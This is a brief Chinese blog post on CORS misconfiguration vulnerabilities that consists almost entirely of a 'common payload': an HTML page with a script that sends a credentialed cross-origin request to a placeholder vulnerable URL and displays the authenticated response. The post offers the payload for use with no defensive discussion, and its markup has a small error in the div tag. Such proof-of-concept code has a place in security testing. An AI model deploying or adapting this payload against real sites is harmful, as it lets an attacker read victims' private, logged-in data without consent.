cors漏洞

跨站资源共享cors

 

 

常用payload:

<!DOCTYPE html>
<html>
<body>
div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>

<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "vuln-url", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>

posted @ 2020-05-05 21:04  connan  阅读(171)  评论(0)  编辑  收藏  举报